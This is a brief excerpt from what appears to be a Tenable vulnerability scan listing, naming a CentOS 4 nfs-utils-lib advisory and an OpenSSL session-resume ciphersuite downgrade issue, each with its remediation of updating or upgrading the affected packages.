CentOS 4 : nfs-utils-lib (CESA-2007:0913): Update the affected nfs-utils-lib packages.	1	1
OpenSSL SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG Session Resume Ciphersuite Downgrade Issue: Upgrade to OpenSSL 0.9.8q / 1.0.0.c or later, or contact your vendor for a patch.	1	1

© 2025 Tenable™, Inc. All rights reserved.